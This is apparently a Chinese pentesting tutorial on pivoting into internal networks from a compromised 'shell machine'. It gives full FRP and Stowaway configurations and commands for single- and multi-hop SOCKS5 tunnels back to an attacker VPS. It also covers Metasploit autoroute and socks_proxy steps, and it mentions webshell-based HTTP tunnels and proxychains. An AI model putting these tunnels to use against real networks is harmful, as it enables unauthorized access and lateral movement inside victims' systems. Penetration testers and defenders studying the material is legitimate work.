内网穿透简介

前面也提到过,渗透过程中一般不要把扫描工具直接传到shell的机器上,那么这种情况下如果要进行网络扫描,最好的办法就是在shell的机器上做一个类似VPN的隧道,只要我们连上了这个隧道,就可以从本机访问到shell机器的内网环境了。

内网穿透工具推荐

FRP

frp是一款很成熟的代理软件,不仅可以端口转发,也可以构建socks5代理直接进入到目标内网环境中。但由于太过火爆,杀软几乎都给干掉了。

一级代理

平时遇到最多的情况,也是最简单的情况,简单来说我们拿到了一个shell后,让shell机器和我们的VPS建立socks5隧道,此时我们通过VPS开放的代理端口就可以访问这个socks5隧道也就可以访问整个目标内网了。

服务端(我们的VPS) frps.toml 配置

完整的配置可参考 frps_full_example.toml

bindPort = 49378
auth.token = "helloxx.6haha7789"
#port,token自定义 保持客户端与服务端一致即可

启动服务端

./frps -c frps.toml

image-20240409下午41807246


客户端(shell机器)frpc.toml 配置

完整配置可参考 frpc_full_example.toml

serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

启动客户端

./frpc -c frpc.toml

image-20240409下午41821870

连接成功后,通过 socks5://<用户名>:<密码>@<服务端IP地址>:<服务端端口> 就可以直接代理进入到目标的内网了,可以访问任意内网资源、发起内网请求等。

image-20240409下午42252847

多级代理

在实战中,我们拿下了内网机器A,通过内网机器A又拿下了内网机器B,但发现内网机器A不通172段,内网机器B通172段但不出网,这时我们想要通过VPS构建socks5隧道访问到172段,就需要建立多级代理;简单图示如下:

image-20240409下午44545637

服务端(外网VPS)配置frps.toml一级代理 一致

bindPort = 49378
auth.token = "helloxx.6haha7789"
#port,token自定义 保持客户端与服务端一致即可

由于客户端1(内网机器A)需要充当中转作用,即对于外网VPS来说是客户端,对于内网机器B来说是服务端,因此存在有2份配置文件,分别启动客户端和服务端。

其中服务端配置 frps.toml 如下:

bindPort = 49378

客户端配置frpc.toml如下:

serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

[[proxies]]
name = "portforward"
type = "tcp"
localIP = "127.0.0.1"
remotePort = 60052 # 别和上方的remotePort冲突就行
localPort = 6000 # 把本地的6000端口映射出去

接下来在客户端2(内网机器B)上配置 frpc.toml 如下,和客户端1(内网机器A)建立隧道。

serverAddr = "1.2.3.5" # 改为 内网机器A 的地址
serverPort = 49378

[[proxies]]
name = "plugin_socks5_two"
type = "tcp"
remotePort = 6000 # 修改为上面的 localPort,表明通过 内网机器A 的该端口可以访问到当前的内网
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

这样一套启动下来后,通过外网VPS socks5://<账号>:<密码>@<外网VPS IP地址>:60052 就可以访问到客户端2(内网机器B)的内网了。

image-20240409下午60032968

Stowaway

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具,用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能;用于解决frp,nps等工具在搭建多级代理时操作过于复杂不便管理的问题。

不知道命令的可以输入help,支持tab键自动补齐,支持上传下载文件,支持shell命令,和远控一样。

一级代理

目标内网全部连通,只需要构建隧道进入到内网即可访问到所有的资源。

在服务端(VPS)启动:

./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32

在被控端(shell机器)启动:

./stowaway_macos_x64_agent -c <VPS IP地址>:61032 -s aab32

建立连接后,在服务端选中上线的节点,并且执行socks命令即可。

use 0
# socks 端口 用户名 密码
socks 55667 username password

此时使用 socks5://username:password@<VPS IP>:55667 就可以代理到被控端的内网了。

image-20240411上午104355094

多级代理

和FRP上一样的环境

image-20240409下午44545637

外网VPS上执行:

./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32

内网机器A上执行:

./stowaway_linux_x64_admin -c <VPS IP地址>:61032 -s aab32

这时候外网VPS和内网机器A已经建立连接了,进入内网机器A的node节点,执行listen监听端口

use 0
listen

image-20240411上午105742478

此时再在内网机器B上执行如下命令和内网机器A建立连接:

./stowaway_macos_x64_agent -c <内网机器A IP地址>:23123 -s aab32

执行后可以在外网VPS上看到内网机器B已经上线,这个时候进入该节点再执行socks命令开启代理即可:

use 1
socks 55667 username password

此时即可通过 socks5://username:password@<VPS IP>:55667 访问到内网机器B的内网了。

image-20240411上午110203669

MSF

MSF提供的 auxiliary/server/socks_proxy 模块也可以实现socks5代理。

拿到meterpreter后,先把路由添加到MSF中,下方为自动添加路由。

use post/multi/manage/autoroute
set SESSION 4
run

image-20240410下午41821884

这个时候用route print可以查看到添加的路由表

image-20240410下午41916817

再启动 socks_proxy 模块就完成了。

use auxiliary/server/socks_proxy
# 需要设置密码、修改端口啥的对应调整即可
run

image-20240410下午42423590

这个时候代理就搭建好了,就可以通过socks5隧道进入到目标内网了。

curl -x socks5://127.0.0.1:1080 172.16.93.2

suo5

suo5 是一个高性能 HTTP 隧道代理工具,它基于双向的 Chunked-Encoding 构建, 相比 Neo-reGeorg 等传统隧道工具, suo5 的性能可以达到其数十倍。使用可参考官方说明文档

suo5Neo-reGeorg 怎么选: 如果目标是 Java 的站点,可以使用 suo5 来构建 http 隧道,大多数情况下 suo5 都要比 neo 更稳定速度更快。但 neo 提供了非常多种类的服务端支持,兼容性很好,而且也支持一些 suo5 当前还在开发的功能,也支持更灵活的定制化。

Neo-reGeorg

主要用于HTTP隧道,常用于目标不出网的情况,将shell文件上传到服务器后,通过提供的 neoreg.py 主动连接shell即可构建代理隧道,但速度慢,稳定性差,非必要情况下不推荐使用,可参考官方说明文档

如何代理工具到内网

上面都是搭建完隧道后用curl简单测试了下代理连通性,但实战中,怎么把我们的工具也通过代理运行到目标内网呢?这里就需要用到一些其他的辅助工具了。

proxychains

ProxyChains是一个UNIX程序,它通过预加载的DLL将网络相关的libc函数挂接到动态链接的程序中,并通过SOCKS4a/5或HTTP代理重定向连接。

使用起来也非常简单,编辑配置文件,在最后加上协议 IP 和 端口保存即可

sudo vim /etc/proxychains.conf

image-20240410下午51547705

使用时在软件前添加 proxychains 即可强制走代理

proxychains curl ipinfo.io

image-20240410下午51648741

proxifier

Proxifier允许不支持通过代理服务器工作的网络应用程序通过SOCKS或HTTPS代理和链进行操作,支持MacOS、Windows和Android端。商业软件,使用需要付费。

图形化界面,傻瓜式操作配置即可。

image-20240410下午52117448

配置好后,使用过程中会有对应的日志提示。

image-20240410下午52227379

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2024-04-11 15:14:10

results matching ""

    No results matching ""